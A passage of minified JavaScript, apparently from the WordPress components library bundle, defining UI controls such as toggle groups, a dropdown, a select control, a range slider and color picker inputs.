transparent;}",""),P_=yl("div",{target:"et6ln9s0"})("display:flex;font-size:",Fl.fontSize,";line-height:1;"),N_=({size:e="default"})=>Nl("color:",zl.theme.foreground,";height:",{default:"30px","__unstable-large":"32px"}[e],";aspect-ratio:1;padding-left:0;padding-right:0;",""),{Rp:T_,y0:I_}=t,R_=({showTooltip:e,text:t,children:n})=>e&&t?(0,_t.jsx)(ss,{text:t,placement:"top",children:n}):(0,_t.jsx)(_t.Fragment,{children:n});const M_=al((function e(t,n){const r=(0,c.useContext)(c_),o=sl({...t,id:(0,l.useInstanceId)(e,r.baseId||"toggle-group-control-option-base")},"ToggleGroupControlOptionBase"),{isBlock:i=!1,isDeselectable:s=!1,size:a="default"}=r,{className:u,isIcon:d=!1,value:p,children:f,showTooltip:h=!1,disabled:m,...g}=o,v=r.value===p,b=il(),x=(0,c.useMemo)((()=>b(i&&C_)),[b,i]),y=(0,c.useMemo)((()=>b(k_({isDeselectable:s,isIcon:d,isPressed:v,size:a}),u)),[b,s,d,v,a,u]),w={...g,className:y,"data-value":p,ref:n},_=(0,c.useRef)(null);return(0,c.useLayoutEffect)((()=>{v&&_.current&&r.setSelectedElement(_.current)}),[v,r]),(0,_t.jsx)(I_,{ref:_,className:x,children:(0,_t.jsx)(R_,{showTooltip:h,text:g["aria-label"],children:s?(0,_t.jsx)("button",{...w,disabled:m,"aria-pressed":v,type:"button",onClick:()=>{s&&v?r.setValue(void 0):r.setValue(p)},children:(0,_t.jsx)(T_,{children:f})}):(0,_t.jsx)(__,{disabled:m,onFocusVisible:()=>{(null===r.value||""===r.value)&&!r.activeItemIsNotFirstItem?.()||r.setValue(p)},render:(0,_t.jsx)("button",{type:"button",...w}),value:p,children:(0,_t.jsx)(T_,{children:f})})})})}),"ToggleGroupControlOptionBase"),A_=M_;const D_=(0,c.forwardRef)((function(e,t){const{icon:n,label:r,...o}=e;return(0,_t.jsx)(A_,{...o,isIcon:!0,"aria-label":r,showTooltip:!0,ref:t,children:(0,_t.jsx)(Xx,{icon:n})})})),z_=D_,O_=[{label:(0,a.__)("Solid"),icon:Gw,value:"solid"},{label:(0,a.__)("Dashed"),icon:Kw,value:"dashed"},{label:(0,a.__)("Dotted"),icon:qw,value:"dotted"}];const L_=al((function({onChange:e,...t},n){return(0,_t.jsx)(x_,{__nextHasNoMarginBottom:!0,__next40pxDefaultSize:!0,ref:n,isDeselectable:!0,onChange:t=>{e?.(t)},...t,children:O_.map((e=>(0,_t.jsx)(z_,{value:e.value,icon:e.icon,label:e.label},e.value)))})}),"BorderControlStylePicker");const F_=(0,c.forwardRef)((function(e,t){const{className:n,colorValue:r,...o}=e;return(0,_t.jsx)("span",{className:s("component-color-indicator",n),style:{background:r},ref:t,...o})}));var B_=function(e){var t=e/255;return t<.04045?t/12.92:Math.pow((t+.055)/1.055,2.4)},V_=function(e){return.2126*B_(e.r)+.7152*B_(e.g)+.0722*B_(e.b)};function $_(e){e.prototype.luminance=function(){return e=V_(this.rgba),void 0===(t=2)&&(t=0),void 0===n&&(n=Math.pow(10,t)),Math.round(n*e)/n+0;var e,t,n},e.prototype.contrast=function(t){void 0===t&&(t="#FFF");var n,r,o,i,s,a,l,c=t instanceof e?t:new e(t);return i=this.rgba,s=c.toRgb(),n=(a=V_(i))>(l=V_(s))?(a+.05)/(l+.05):(l+.05)/(a+.05),void 0===(r=2)&&(r=0),void 0===o&&(o=Math.pow(10,r)),Math.floor(o*n)/o+0},e.prototype.isReadable=function(e,t){return void 0===e&&(e="#FFF"),void 0===t&&(t={}),this.contrast(e)>=(s=void 0===(i=(n=t).size)?"normal":i,"AAA"===(o=void 0===(r=n.level)?"AA":r)&&"normal"===s?7:"AA"===o&&"large"===s?3:4.5);var n,r,o,i,s}}const H_=al(((e,t)=>{const{renderContent:n,renderToggle:r,className:o,contentClassName:i,expandOnMobile:a,headerTitle:u,focusOnMount:d,popoverProps:p,onClose:f,onToggle:h,style:m,open:g,defaultOpen:v,position:b,variant:x}=sl(e,"Dropdown");void 0!==b&&Xi()("`position` prop in wp.components.Dropdown",{since:"6.2",alternative:"`popoverProps.placement` prop",hint:"Note that the `position` prop will override any values passed through the `popoverProps.placement` prop."});const[y,w]=(0,c.useState)(null),_=(0,c.useRef)(),[S,C]=f_({defaultValue:v,value:g,onChange:h});function k(){f?.(),C(!1)}const j={isOpen:!!S,onToggle:()=>C(!S),onClose:k},E=!!(p?.anchor||p?.anchorRef||p?.getAnchorRect||p?.anchorRect);return(0,_t.jsxs)("div",{className:o,ref:(0,l.useMergeRefs)([_,t,w]),tabIndex:-1,style:m,children:[r(j),S&&(0,_t.jsx)(jw,{position:b,onClose:k,onFocusOutside:function(){if(!_.current)return;const{ownerDocument:e}=_.current,t=e?.activeElement?.closest('[role="dialog"]');_.current.contains(e.activeElement)||t&&!t.contains(_.current)||k()},expandOnMobile:a,headerTitle:u,focusOnMount:d,offset:13,anchor:E?void 0:y,variant:x,...p,className:s("components-dropdown__content",p?.className,i),children:n(j)})]})}),"Dropdown"),W_=H_;const U_=al((function(e,t){const n=sl(e,"InputControlSuffixWrapper");return(0,_t.jsx)(ub,{...n,ref:t})}),"InputControlSuffixWrapper");const G_=({disabled:e})=>e?Nl("color:",zl.ui.textDisabled,";cursor:default;",""):"";var K_={name:"1lv1yo7",styles:"display:inline-flex"};const q_=({variant:e})=>"minimal"===e?K_:"",Y_=yl(vb,{target:"e1mv6sxx3"})("color:",zl.theme.foreground,";cursor:pointer;",G_," ",q_,";"),X_=({__next40pxDefaultSize:e,multiple:t,selectSize:n="default"})=>{if(t)return;const r={default:{height:40,minHeight:40,paddingTop:0,paddingBottom:0},small:{height:24,minHeight:24,paddingTop:0,paddingBottom:0},compact:{height:32,minHeight:32,paddingTop:0,paddingBottom:0},"__unstable-large":{height:40,minHeight:40,paddingTop:0,paddingBottom:0}};e||(r.default=r.compact);return Nl(r[n]||r.default,"","")},Z_=({__next40pxDefaultSize:e,multiple:t,selectSize:n="default"})=>{const r={default:Fl.controlPaddingX,small:Fl.controlPaddingXSmall,compact:Fl.controlPaddingXSmall,"__unstable-large":Fl.controlPaddingX};e||(r.default=r.compact);const o=r[n]||r.default;return Mg({paddingLeft:o,paddingRight:o+18,...t?{paddingTop:o,paddingBottom:o}:{}})},Q_=({multiple:e})=>({overflow:e?"auto":"hidden"});var J_={name:"n1jncc",styles:"field-sizing:content"};const eS=({variant:e})=>"minimal"===e?J_:"",tS=yl("select",{target:"e1mv6sxx2"})("&&&{appearance:none;background:transparent;box-sizing:border-box;border:none;box-shadow:none!important;color:currentColor;cursor:inherit;display:block;font-family:inherit;margin:0;width:100%;max-width:none;white-space:nowrap;text-overflow:ellipsis;",eb,";",X_,";",Z_,";",Q_," ",eS,";}"),nS=yl("div",{target:"e1mv6sxx1"})("margin-inline-end:",Il(-1),";line-height:0;path{fill:currentColor;}"),rS=yl(U_,{target:"e1mv6sxx0"})("position:absolute;pointer-events:none;",Mg({right:0}),";");const oS=(0,c.forwardRef)((function({icon:e,size:t=24,...n},r){return(0,c.cloneElement)(e,{width:t,height:t,...n,ref:r})})),iS=(0,_t.jsx)(n.SVG,{viewBox:"0 0 24 24",xmlns:"http://www.w3.org/2000/svg",children:(0,_t.jsx)(n.Path,{d:"M17.5 11.6L12 16l-5.5-4.4.9-1.2L12 14l4.5-3.6 1 1.2z"})}),sS=()=>(0,_t.jsx)(rS,{children:(0,_t.jsx)(nS,{children:(0,_t.jsx)(oS,{icon:iS,size:18})})});function aS({options:e}){return e.map((({id:e,label:t,value:n,...r},o)=>{const i=e||`${t}-${n}-${o}`;return(0,_t.jsx)("option",{value:n,...r,children:t},i)}))}const lS=(0,c.forwardRef)((function(e,t){const{className:n,disabled:r=!1,help:o,hideLabelFromVision:i,id:a,label:c,multiple:u=!1,onChange:d,options:p=[],size:f="default",value:h,labelPosition:m="top",children:g,prefix:v,suffix:b,variant:x="default",__next40pxDefaultSize:y=!1,__nextHasNoMarginBottom:w=!1,__shouldNotWarnDeprecated36pxSize:_,...S}=hb(e),C=function(e){const t=(0,l.useInstanceId)(lS);return e||`inspector-select-control-${t}`}(a),k=o?`${C}__help`:void 0;if(!p?.length&&!g)return null;const j=s("components-select-control",n);return Ux({componentName:"SelectControl",__next40pxDefaultSize:y,size:f,__shouldNotWarnDeprecated36pxSize:_}),(0,_t.jsx)(Wx,{help:o,id:C,__nextHasNoMarginBottom:w,__associatedWPComponentName:"SelectControl",children:(0,_t.jsx)(Y_,{className:j,disabled:r,hideLabelFromVision:i,id:C,isBorderless:"minimal"===x,label:c,size:f,suffix:b||!u&&(0,_t.jsx)(sS,{}),prefix:v,labelPosition:m,__unstableInputWidth:"minimal"===x?"auto":void 0,variant:x,__next40pxDefaultSize:y,children:(0,_t.jsx)(tS,{...S,__next40pxDefaultSize:y,"aria-describedby":k,className:"components-select-control__input",disabled:r,id:C,multiple:u,onChange:t=>{if(e.multiple){const n=Array.from(t.target.options).filter((({selected:e})=>e)).map((({value:e})=>e));e.onChange?.(n,{event:t})}else e.onChange?.(t.target.value,{event:t})},ref:t,selectSize:f,value:h,variant:x,children:g||(0,_t.jsx)(aS,{options:p})})})})})),cS=lS,uS={initial:void 0,fallback:""};const dS=function(e,t=uS){const{initial:n,fallback:r}={...uS,...t},[o,i]=(0,c.useState)(e),s=Vg(e);return(0,c.useEffect)((()=>{s&&o&&i(void 0)}),[s,o]),[function(e=[],t){var n;return null!==(n=e.find(Vg))&&void 0!==n?n:t}([e,o,n],r),(0,c.useCallback)((e=>{s||i(e)}),[s])]};function pS(e,t,n){return"number"!=typeof e?null:parseFloat(`${ay(e,t,n)}`)}const fS=30,hS=()=>Nl({height:fS,minHeight:fS},"",""),mS=12,gS=({__next40pxDefaultSize:e})=>!e&&Nl({minHeight:fS},"",""),vS=yl("div",{target:"e1epgpqk14"})("-webkit-tap-highlight-color:transparent;align-items:center;display:flex;justify-content:flex-start;padding:0;position:relative;touch-action:none;width:100%;min-height:40px;",gS,";"),bS=({color:e=zl.ui.borderFocus})=>Nl({color:e},"",""),xS=({marks:e,__nextHasNoMarginBottom:t})=>t?"":Nl({marginBottom:e?16:void 0},"",""),yS=yl("div",{shouldForwardProp:e=>!["color","__nextHasNoMarginBottom","marks"].includes(e),target:"e1epgpqk13"})("display:block;flex:1;position:relative;width:100%;",bS,";",hS,";",xS,";"),wS=yl("span",{target:"e1epgpqk12"})("display:flex;margin-top:",4,"px;",Mg({marginRight:6}),";"),_S=yl("span",{target:"e1epgpqk11"})("display:flex;margin-top:",4,"px;",Mg({marginLeft:6}),";"),SS=({disabled:e,railColor:t})=>{let n=t||"";return e&&(n=zl.ui.backgroundDisabled),Nl({background:n},"","")},CS=yl("span",{target:"e1epgpqk10"})("background-color:",zl.gray[300],";left:0;pointer-events:none;right:0;display:block;height:",4,"px;position:absolute;margin-top:",13,"px;top:0;border-radius:",Fl.radiusFull,";",SS,";"),kS=({disabled:e,trackColor:t})=>{let n=t||"currentColor";return e&&(n=zl.gray[400]),Nl({background:n},"","")},jS=yl("span",{target:"e1epgpqk9"})("background-color:currentColor;border-radius:",Fl.radiusFull,";height:",4,"px;pointer-events:none;display:block;position:absolute;margin-top:",13,"px;top:0;.is-marked &{@media not ( prefers-reduced-motion ){transition:width ease 0.1s;}}",kS,";"),ES=yl("span",{target:"e1epgpqk8"})({name:"g5kg28",styles:"display:block;pointer-events:none;position:relative;width:100%;user-select:none;margin-top:17px"}),PS=yl("span",{target:"e1epgpqk7"})("position:absolute;left:0;top:-4px;height:4px;width:2px;transform:translateX( -50% );background-color:",zl.ui.background,";z-index:1;"),NS=({isFilled:e})=>Nl({color:e?zl.gray[700]:zl.gray[300]},"",""),TS=yl("span",{target:"e1epgpqk6"})("color:",zl.gray[300],";font-size:11px;position:absolute;top:8px;white-space:nowrap;",Mg({left:0}),";",Mg({transform:"translateX( -50% )"},{transform:"translateX( 50% )"}),";",NS,";"),IS=({disabled:e})=>Nl("background-color:",e?zl.gray[400]:zl.theme.accent,";",""),RS=yl("span",{target:"e1epgpqk5"})("align-items:center;display:flex;height:",mS,"px;justify-content:center;margin-top:",9,"px;outline:0;pointer-events:none;position:absolute;top:0;user-select:none;width:",mS,"px;border-radius:",Fl.radiusRound,";z-index:3;.is-marked &{@media not ( prefers-reduced-motion ){transition:left ease 0.1s;}}",IS,";",Mg({marginLeft:-10}),";",Mg({transform:"translateX( 4.5px )"},{transform:"translateX( -4.5px )"}),";"),MS=({isFocused:e})=>e?Nl("&::before{content:' ';position:absolute;background-color:",zl.theme.accent,";opacity:0.4;border-radius:",Fl.radiusRound,";height:",20,"px;width:",20,"px;top:-4px;left:-4px;}",""):"",AS=yl("span",{target:"e1epgpqk4"})("align-items:center;border-radius:",Fl.radiusRound,";height:100%;outline:0;position:absolute;user-select:none;width:100%;box-shadow:",Fl.elevationXSmall,";",IS,";",MS,";"),DS=yl("input",{target:"e1epgpqk3"})("box-sizing:border-box;cursor:pointer;display:block;height:100%;left:0;margin:0 -",6,"px;opacity:0;outline:none;position:absolute;right:0;top:0;width:calc( 100% + ",mS,"px );"),zS=({show:e})=>Nl("display:",e?"inline-block":"none",";opacity:",e?1:0,";@media not ( prefers-reduced-motion ){transition:opacity 120ms ease,display 120ms ease allow-discrete;}@starting-style{opacity:0;}","");var OS={name:"1cypxip",styles:"top:-80%"},LS={name:"1lr98c4",styles:"bottom:-80%"};const FS=({position:e})=>"bottom"===e?LS:OS,BS=yl("span",{target:"e1epgpqk2"})("background:rgba( 0, 0, 0, 0.8 );border-radius:",Fl.radiusSmall,";color:white;font-size:12px;min-width:32px;padding:4px 8px;pointer-events:none;position:absolute;text-align:center;user-select:none;line-height:1.4;",zS,";",FS,";",Mg({transform:"translateX(-50%)"},{transform:"translateX(50%)"}),";"),VS=yl(gy,{target:"e1epgpqk1"})("display:inline-block;font-size:13px;margin-top:0;input[type='number']&{",hS,";}",Mg({marginLeft:`${Il(4)} !important`}),";"),$S=yl("span",{target:"e1epgpqk0"})("display:block;margin-top:0;button,button.is-small{margin-left:0;",hS,";}",Mg({marginLeft:8}),";");const HS=(0,c.forwardRef)((function(e,t){const{describedBy:n,label:r,value:o,...i}=e;return(0,_t.jsx)(DS,{...i,"aria-describedby":n,"aria-label":r,"aria-hidden":!1,ref:t,tabIndex:0,type:"range",value:o})}));function WS(e){const{className:t,isFilled:n=!1,label:r,style:o={},...i}=e,a=s("components-range-control__mark",n&&"is-filled",t),l=s("components-range-control__mark-label",n&&"is-filled");return(0,_t.jsxs)(_t.Fragment,{children:[(0,_t.jsx)(PS,{...i,"aria-hidden":"true",className:a,style:o}),r&&(0,_t.jsx)(TS,{"aria-hidden":"true",className:l,isFilled:n,style:o,children:r})]})}function US(e){const{disabled:t=!1,marks:n=!1,min:r=0,max:o=100,step:i=1,value:s=0,...a}=e;return(0,_t.jsxs)(_t.Fragment,{children:[(0,_t.jsx)(CS,{disabled:t,...a}),n&&(0,_t.jsx)(GS,{disabled:t,marks:n,min:r,max:o,step:i,value:s})]})}function GS(e){const{disabled:t=!1,marks:n=!1,min:r=0,max:o=100,step:i=1,value:s=0}=e,l=function({marks:e,min:t=0,max:n=100,step:r=1,value:o=0}){if(!e)return[];const i=n-t;if(!Array.isArray(e)){e=[];const n=1+Math.round(i/r);for(;n>e.push({value:r*e.length+t}););}const s=[];return e.forEach(((e,r)=>{if(e.value<t||e.value>n)return;const l=`mark-${r}`,c=e.value<=o,u=(e.value-t)/i*100+"%",d={[(0,a.isRTL)()?"right":"left"]:u};s.push({...e,isFilled:c,key:l,style:d})})),s}({marks:n,min:r,max:o,step:"any"===i?1:i,value:s});return(0,_t.jsx)(ES,{"aria-hidden":"true",className:"components-range-control__marks",children:l.map((e=>(0,B.createElement)(WS,{...e,key:e.key,"aria-hidden":"true",disabled:t})))})}function KS(e){const{className:t,inputRef:n,tooltipPosition:r,show:o=!1,style:i={},value:a=0,renderTooltipContent:l=e=>e,zIndex:u=100,...d}=e,p=function({inputRef:e,tooltipPosition:t}){const[n,r]=(0,c.useState)(),o=(0,c.useCallback)((()=>{e&&e.current&&r(t)}),[t,e]);return(0,c.useEffect)((()=>{o()}),[o]),(0,c.useEffect)((()=>(window.addEventListener("resize",o),()=>{window.removeEventListener("resize",o)}))),n}({inputRef:n,tooltipPosition:r}),f=s("components-simple-tooltip",t),h={...i,zIndex:u};return(0,_t.jsx)(BS,{...d,"aria-hidden":"false",className:f,position:p,show:o,role:"tooltip",style:h,children:l(a)})}const qS=()=>{};function YS({resetFallbackValue:e,initialPosition:t}){return void 0!==e?Number.isNaN(e)?null:e:void 0!==t?Number.isNaN(t)?null:t:null}const XS=(0,c.forwardRef)((function e(t,n){const{__nextHasNoMarginBottom:r=!1,afterIcon:o,allowReset:i=!1,beforeIcon:u,className:d,color:p=zl.theme.accent,currentInput:f,disabled:h=!1,help:m,hideLabelFromVision:g=!1,initialPosition:v,isShiftStepEnabled:b=!0,label:x,marks:y=!1,max:w=100,min:_=0,onBlur:S=qS,onChange:C=qS,onFocus:k=qS,onMouseLeave:j=qS,onMouseMove:E=qS,railColor:P,renderTooltipContent:N=e=>e,resetFallbackValue:T,__next40pxDefaultSize:I=!1,shiftStep:R=10,showTooltip:M,step:A=1,trackColor:D,value:z,withInputField:O=!0,__shouldNotWarnDeprecated36pxSize:L,...F}=t,[B,V]=function(e){const{min:t,max:n,value:r,initial:o}=e,[i,s]=dS(pS(r,t,n),{initial:pS(null!=o?o:null,t,n),fallback:null});return[i,(0,c.useCallback)((e=>{s(null===e?null:pS(e,t,n))}),[t,n,s])]}({min:_,max:w,value:null!=z?z:null,initial:v}),$=(0,c.useRef)(!1);let H=M,W=O;"any"===A&&(H=!1,W=!1);const[U,G]=(0,c.useState)(H),[K,q]=(0,c.useState)(!1),Y=(0,c.useRef)(),X=Y.current?.matches(":focus"),Z=!h&&K,Q=null===B,J=Q?"":void 0!==B?B:f,ee=Q?(w-_)/2+_:B,te=`${ay(Q?50:(B-_)/(w-_)*100,0,100)}%`,ne=s("components-range-control",d),re=s("components-range-control__wrapper",!!y&&"is-marked"),oe=(0,l.useInstanceId)(e,"inspector-range-control"),ie=m?`${oe}__help`:void 0,se=!1!==H&&Number.isFinite(B),ae=()=>{const e=Number.isNaN(T)?null:null!=T?T:null;V(e),C(null!=e?e:void 0)},le={[(0,a.isRTL)()?"right":"left"]:te};return Ux({componentName:"RangeControl",__next40pxDefaultSize:I,size:void 0,__shouldNotWarnDeprecated36pxSize:L}),(0,_t.jsx)(Wx,{__nextHasNoMarginBottom:r,__associatedWPComponentName:"RangeControl",className:ne,label:x,hideLabelFromVision:g,id:`${oe}`,help:m,children:(0,_t.jsxs)(vS,{className:"components-range-control__root",__next40pxDefaultSize:I,children:[u&&(0,_t.jsx)(wS,{children:(0,_t.jsx)(Xx,{icon:u})}),(0,_t.jsxs)(yS,{__nextHasNoMarginBottom:r,className:re,color:p,marks:!!y,children:[(0,_t.jsx)(HS,{...F,className:"components-range-control__slider",describedBy:ie,disabled:h,id:`${oe}`,label:x,max:w,min:_,onBlur:e=>{S(e),q(!1),G(!1)},onChange:e=>{const t=parseFloat(e.target.value);V(t),C(t)},onFocus:e=>{k(e),q(!0),G(!0)},onMouseMove:E,onMouseLeave:j,ref:(0,l.useMergeRefs)([Y,n]),step:A,value:null!=J?J:void 0}),(0,_t.jsx)(US,{"aria-hidden":!0,disabled:h,marks:y,max:w,min:_,railColor:P,step:A,value:ee}),(0,_t.jsx)(jS,{"aria-hidden":!0,className:"components-range-control__track",disabled:h,style:{width:te},trackColor:D}),(0,_t.jsx)(RS,{className:"components-range-control__thumb-wrapper",style:le,disabled:h,children:(0,_t.jsx)(AS,{"aria-hidden":!0,isFocused:Z,disabled:h})}),se&&(0,_t.jsx)(KS,{className:"components-range-control__tooltip",inputRef:Y,tooltipPosition:"bottom",renderTooltipContent:N,show:X||U,style:le,value:B})]}),o&&(0,_t.jsx)(_S,{children:(0,_t.jsx)(Xx,{icon:o})}),W&&(0,_t.jsx)(VS,{"aria-label":x,className:"components-range-control__number",disabled:h,inputMode:"decimal",isShiftStepEnabled:b,max:w,min:_,onBlur:()=>{$.current&&(ae(),$.current=!1)},onChange:e=>{let t=parseFloat(e);V(t),isNaN(t)?i&&($.current=!0):((t<_||t>w)&&(t=pS(t,_,w)),C(t),$.current=!1)},shiftStep:R,size:I?"__unstable-large":"default",__unstableInputWidth:Il(I?20:16),step:A,value:J,__shouldNotWarnDeprecated36pxSize:!0}),i&&(0,_t.jsx)($S,{children:(0,_t.jsx)(Jx,{className:"components-range-control__reset",accessibleWhenDisabled:!h,disabled:h||B===YS({resetFallbackValue:T,initialPosition:v}),variant:"secondary",size:"small",onClick:ae,children:(0,a.__)("Reset")})})]})})})),ZS=XS,QS=yl(gy,{target:"ez9hsf46"})("width:",Il(24),";"),JS=yl(cS,{target:"ez9hsf45"})("margin-left:",Il(-2),";"),eC=yl(ZS,{target:"ez9hsf44"})("flex:1;margin-right:",Il(2),";"),tC=`\n.react-colorful__interactive {\n\twidth: calc( 100% - ${Il(2)} );\n\tmargin-left: ${Il(1)};\n}`,nC=yl("div",{target:"ez9hsf43"})("padding-top:",Il(2),";padding-right:0;padding-left:0;padding-bottom:0;"),rC=yl(fy,{target:"ez9hsf42"})("padding-left:",Il(4),";padding-right:",Il(4),";"),oC=yl(kg,{target:"ez9hsf41"})("padding-top:",Il(4),";padding-left:",Il(4),";padding-right:",Il(3),";padding-bottom:",Il(5),";"),iC=yl("div",{target:"ez9hsf40"})(Rx,";width:216px;.react-colorful{display:flex;flex-direction:column;align-items:center;width:216px;height:auto;}.react-colorful__saturation{width:100%;border-radius:0;height:216px;margin-bottom:",Il(4),";border-bottom:none;}.react-colorful__hue,.react-colorful__alpha{width:184px;height:16px;border-radius:",Fl.radiusFull,";margin-bottom:",Il(2),";}.react-colorful__pointer{height:16px;width:16px;border:none;box-shadow:0 0 2px 0 rgba( 0, 0, 0, 0.25 );outline:2px solid transparent;}.react-colorful__pointer-fill{box-shadow:inset 0 0 0 ",Fl.borderWidthFocus," #fff;}",tC,";"),sC=(0,_t.jsx)(n.SVG,{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 24 24",children:(0,_t.jsx)(n.Path,{fillRule:"evenodd",clipRule:"evenodd",d:"M5 4.5h11a.5.5 0 0 1 .5.5v11a.5.5 0 0 1-.5.5H5a.5.5 0 0 1-.5-.5V5a.5.5 0 0 1 .5-.5ZM3 5a2 2 0 0 1 2-2h11a2 2 0 0 1 2 2v11a2 2 0 0 1-2 2H5a2 2 0 0 1-2-2V5Zm17 3v10.75c0 .69-.56 1.25-1.25 1.25H6v1.5h12.75a2.75 2.75 0 0 0 2.75-2.75V8H20Z"})}),aC=e=>{const{color:t,colorType:n}=e,[r,o]=(0,c.useState)(null),i=(0,c.useRef)(),s=(0,l.useCopyToClipboard)((()=>{switch(n){case"hsl":return t.toHslString();case"rgb":return t.toRgbString();default:return t.toHex()}}),(()=>{i.current&&clearTimeout(i.current),o(t.toHex()),i.current=setTimeout((()=>{o(null),i.current=void 0}),3e3)}));(0,c.useEffect)((()=>()=>{i.current&&clearTimeout(i.current)}),[]);const u=r===t.toHex()?(0,a.__)("Copied!"):(0,a.__)("Copy");return(0,_t.jsx)(ss,{delay:0,hideOnClick:!1,text:u,children:(0,_t.jsx)(Qx,{size:"compact","aria-label":u,ref:s,icon:sC,showTooltip:!1})})};const lC=al((function(e,t){const n=sl(e,"InputControlPrefixWrapper");return(0,_t.jsx)(ub,{...n,isPrefix:!0,ref:t})}),"InputControlPrefixWrapper"),cC=({min:e,max:t,label:n,abbreviation:r,onChange:o,value:i})=>(0,_t.jsxs)(fy,{spacing:4,children:[(0,_t.jsx)(QS,{__next40pxDefaultSize:!0,min:e,max:t,label:n,hideLabelFromVision:!0,value:i,onChange:e=>{o(e?"string"!=typeof e?e:parseInt(e,10):0)},prefix:(0,_t.jsx)(lC,{children:(0,_t.jsx)($v,{color:zl.theme.accent,lineHeight:1,children:r})}),spinControls:"none"}),(0,_t.jsx)(eC,{__nextHasNoMarginBottom:!0,__next40pxDefaultSize:!0,label:n,hideLabelFromVision:!0,min:e,max:t,value:i,onChange:o,withInputField:!1})]}),uC=({color:e,onChange:t,enableAlpha:n})=>{const{r,g:o,b:i,a:s}=e.toRgb();return(0,_t.jsxs)(_t.Fragment,{children:[(0,_t.jsx)(cC,{min:0,max:255,label:"Red",abbreviation:"R",value:r,onChange:e=>t(yv({r:e,g:o,b:i,a:s}))}),(0,_t.jsx)(cC,{min:0,max:255,label:"Green",abbreviation:"G",value:o,onChange:e=>t(yv({r,g:e,b:i,a:s}))}),(0,_t.jsx)(cC,{min:0,max:255,label:"Blue",abbreviation:"B",value:i,onChange:e=>t(yv({r,g:o,b:e,a:s}))}),n&&(0,_t.jsx)(cC,{min:0,max:100,label:"Alpha",abbreviation:"A",value:Math.trunc(100*s),onChange:e=>t(yv({r,g:o,b:i,a:e/100}))})]})},dC=({color:e,onChange:t,enableAlpha:n})=>{const r=(0,c.useMemo)((()=>e.toHsl()),[e]),[o,i]=(0,c.useState)({...r}),s=e.isEqual(yv(o));(0,c.useEffect)((()=>{s||i(r)}),[r,s]);const a=s?o:r,l=n=>{const r=yv({...a,...n});e.isEqual(r)?i((e=>({...e,...n}))):t(r)};return(0,_t.jsxs)(_t.Fragment,{children:[(0,_t.jsx)(cC,{min:0,max:359,label:"Hue",abbreviation:"H",value:a.h,onChange:e=>{l({h:e})}}),(0,_t.jsx)(cC,{min:0,max:100,label:"Saturation",abbreviation:"S",value:a.s,onChange:e=>{l({s:e})}}),(0,_t.jsx)(cC,{min:0,max:100,label:"Lightness",abbreviation:"L",value:a.l,onChange:e=>{l({l:e})}}),n&&(0,_t.jsx)(cC,{min:0,max:100,label:"Alpha",abbreviation:"A",value:Math.trunc(100*a.a),onChange:e=>{l({a:e/100})}})]})},pC=({color:e,onChange:t,enableAlpha:n})=>(0,_t.jsx)(Kx,{prefix:(0,_t.jsx)(lC,{children:(0,_t.jsx)($v,{color:zl.theme.accent,lineHeight:1,children:"#"})}),value:e.toHex().slice(1).toUpperCase(),onChange:e=>{if(!e)return;const n=e.startsWith("#")?e:"#"+e;t(yv(n))},maxLength:n?9:7,label:(0,a.__)("Hex color"),hideLabelFromVision:!0,size:"__unstable-large",__unstableStateReducer:(e,t)=>{const n=t.payload?.event?.nativeEvent;if("insertFromPaste"!==n?.inputType)return{...e};const r=e.value?.startsWith("#")?e.value.slice(1).toUpperCase():e.value?.toUpperCase();return{...e,value:r}},__unstableInputWidth:"9em"}),fC=({colorType:e,color:t,onChange:n,enableAlpha:r})=>{const o={color:t,onChange:n,enableAlpha:r};switch(e){case"hsl":return(0,_t.jsx)(dC,{...o});case"rgb":return(0,_t.jsx)(uC,{...o});default:return(0,_t.jsx)(pC,{...o})}};function hC(){return(hC=Object.assign||function(e){for(var t=1;t<arguments.length;t++){var n=arguments[t];for(var r in n)Object.prototype.hasOwnProperty.call(n,r)&&(e[r]=n[r])}return e}).apply(this,arguments)}function mC(e,t){if(null==e)return{};var n,r,o={},i=Object.keys(e);for(r=0;r<i.length;r++)t.indexOf(n=i[r])>=0||(o[n]=e[n]);return o}function gC(e){var t=(0,B.useRef)(e),n=(0,B.useRef)((function(e){t.current&&t.current(e)}));return t.current=e,n.current}var vC=function(e,t,n){return void 0===t&&(t=0),void 0===n&&(n=1),e>n?n:e<t?t:e},bC=function(e){return"touches"in e},xC=function(e){return e&&e.ownerDocument.defaultView||self},yC=function(e,t,n){var r=e.getBoundingClientRect(),o=bC(t)?function(e,t){for(var n=0;n<e.length;n++)if(e[n].identifier===t)return e[n];return e[0]}(t.touches,n):t;return{left:vC((o.pageX-(r.left+xC(e).pageXOffset))/r.width),top:vC((o.pageY-(r.top+xC(e).pageYOffset))/r.height)}},wC=function(e){!bC(e)&&e.preventDefault()},_C=B.memo((function(e){var t=e.onMove,n=e.onKey,r=mC(e,["onMove","onKey"]),o=(0,B.useRef)(null),i=gC(t),s=gC(n),a=(0,B.useRef)(null),l=(0,B.useRef)(!1),c=(0,B.useMemo)((function(){var e=function(e){wC(e),(bC(e)?e.touches.length>0:e.buttons>0)&&o.current?i(yC(o.current,e,a.current)):n(!1)},t=function(){return n(!1)};function n(n){var r=l.current,i=xC(o.current),s=n?i.addEventListener:i.removeEventListener;s(r?"touchmove":"mousemove",e),s(r?"touchend":"mouseup",t)}return[function(e){var t=e.nativeEvent,r=o.current;if(r&&(wC(t),!function(e,t){return t&&!bC(e)}(t,l.current)&&r)){if(bC(t)){l.current=!0;var s=t.changedTouches||[];s.length&&(a.current=s[0].identifier)}r.focus(),i(yC(r,t,a.current)),n(!0)}},function(e){var t=e.which||e.keyCode;t<37||t>40||(e.preventDefault(),s({left:39===t?.05:37===t?-.05:0,top:40===t?.05:38===t?-.05:0}))},n]}),[s,i]),u=c[0],d=c[1],p=c[2];return(0,B.useEffect)((function(){return p}),[p]),B.createElement("div",hC({},r,{onTouchStart:u,onMouseDown:u,className:"react-colorful__interactive",ref:o,onKeyDown:d,tabIndex:0,role:"slider"}))})),SC=function(e){return e.filter(Boolean).join(" ")},CC=function(e){var t=e.color,n=e.left,r=e.top,o=void 0===r?.5:r,i=SC(["react-colorful__pointer",e.className]);return B.createElement("div",{className:i,style:{top:100*o+"%",left:100*n+"%"}},B.createElement("div",{className:"react-colorful__pointer-fill",style:{backgroundColor:t}}))},kC=function(e,t,n){return void 0===t&&(t=0),void 0===n&&(n=Math.pow(10,t)),Math.round(n*e)/n},jC=(Math.PI,function(e){var 